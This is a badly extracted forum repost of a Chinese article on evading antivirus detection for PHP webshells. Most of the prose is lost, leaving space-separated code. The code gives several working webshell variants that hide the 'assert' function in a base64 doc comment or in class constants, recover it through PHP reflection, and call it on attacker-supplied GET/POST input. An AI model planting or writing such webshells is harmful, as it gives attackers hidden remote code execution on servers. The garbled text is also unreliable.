[21600] 2021-01-16_Webshell免杀的思考与学习

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-01-16_Webshell免杀的思考与学习 W e b s h e l l C S D N I s 4 b 3 l l a 3   L e m o n S e c   2 0 2 1 - 0 1 - 1 6 P H P a s s e r t e v a l e v a l ( ) e v a l ( )     P H P     P H P   a s s e r t ( ) e v a l w e b s h e l l P O S T G E T D D w e b s h e l l w e b s h e l l w e b s h e l l 使 使 w e b s h e l l $ _ G E T [ 1 ] ( $ _ P O S T [ 2 ] ) ; $ a   =   ' a s s e r t ' ; $ a ( ) ; $ _ G E T [ 1 ] a s s e r t $ _ P O S T [ 2 ] p h p i n f o ( ) < ? p h p f o r e a c h   ( a r r a y ( ' _ G E T ' )   a s   $ _ r e q u e s t )   {     f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {             $ $ _ k e y   =     $ _ v a l u e ;             $ _ k e y ( $ _ v a l u e ) ;     } }
P H P P H P p h p D D p u b l i c   R e f l e c t i o n C l a s s : : g e t D o c C o m m e n t (   v o i d )   :   s t r i n g < ? p h p / * * *   Y X N z Z X J 0 Y W E = * / c l a s s   E x a m p l e {         p u b l i c   f u n c t i o n   f n ( ) {         } } $ r e f l e c t o r   =   n e w   R e f l e c t i o n C l a s s ( ' E x a m p l e ' ) ; $ z h u s h i   =   s u b s t r ( ( $ r e f l e c t o r - > g e t D o c C o m m e n t ( ) ) ,   7 ,   1 2 ) ; $ z h u s h i   =   b a s e 6 4 _ d e c o d e ( $ z h u s h i ) ; $ z h u s h i   =   s u b s t r ( $ z h u s h i ,   0 ,   6 ) ; / / f o r e a c h   ( a r r a y ( ' _ P O S T ' , ' _ G E T ' )   a s   $ _ r e q u e s t )   {         f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {                 $ $ _ k e y =     $ _ v a l u e ;                 p r i n t _ r ( $ $ _ r e q u e s t ) ;         } } $ z h u s h i ( $ _ v a l u e ) ; p u b l i c   R e f l e c t i o n C l a s s : : g e t C o n s t a n t s ( v o i d )   :   a r r a y c l a s s   T e s t {
{         c o n s t   a   =   ' A s ' ;         c o n s t   b   =   ' s e ' ;         c o n s t   c   =   ' r t ' ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {         } } $ p a r a 1 ; $ p a r a 2 ; $ r e f l e c t o r   =   n e w   R e f l e c t i o n C l a s s ( ' T e s t ' ) ; f o r   ( $ i = 9 7 ;   $ i   < =   9 9 ;   $ i + + )   {         $ p a r a 1   =   $ r e f l e c t o r - > g e t C o n s t a n t ( c h r ( $ i ) ) ;         $ p a r a 2 . = $ p a r a 1 ; } f o r e a c h   ( a r r a y ( ' _ P O S T ' , ' _ G E T ' )   a s   $ _ r e q u e s t )   {         f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {                 $ $ _ k e y =     $ _ v a l u e ;         } } $ p a r a 2 ( $ _ v a l u e ) ; p u b l i c   R e f l e c t i o n C l a s s : : g e t C o n s t a n t s ( v o i d )   :   a r r a y < ? p h p c l a s s   T e s t {         c o n s t   a   =   a r r a y ( 1 = > ' a S ' , 2 = > ' s e ' , 3 = > ' r T ' ) ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {         } } $ r e f l   =   n e w   R e f l e c t i o n C l a s s ( ' T e s t ' ) ; f o r e a c h   ( $ r e f l - > g e t C o n s t a n t s ( )   a s   $ k e y   = >   $ v a l u e )   {         f o r e a c h   ( $ v a l u e   a s   $ k e y   = >   $ v a l u e 1 )   {                 $ v a l u e 2 . = $ v a l u e 1 ;         } } f o r e a c h   ( a r r a y ( ' _ P O S T ' , ' _ G E T ' )   a s   $ _ r e q u e s t )   {         f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {                 $ $ _ k e y =     $ _ v a l u e ;         } } $ v a l u e 2 ( $ _ v a l u e ) ;
P P H P P P T t r i c k " " v u l n 使 使 使 " " p u b l i c   R e f l e c t i o n C l a s s : : n e w I n s t a n c e (   m i x e d   $ a r g s [ ,   m i x e d   $ . . . ]   )   :   o b j e c t c a l l _ u s e r _ f u n c ( ) n e w I n s t a n c e A r g s c l a s s   T e s t 1 {         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ p a r a ) {                 / / a s s e r t         } } $ c l a s s 1   =   n e w   R e f l e c t i o n C l a s s ( " T e s t 1 " ) ; $ p a r a   =   ' ' ; / / $ p a r a $ c l a s s 2   =   $ c l a s s 1 - > n e w I n s t a n c e ( $ p a r a ) ;
L e m o n S e c
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则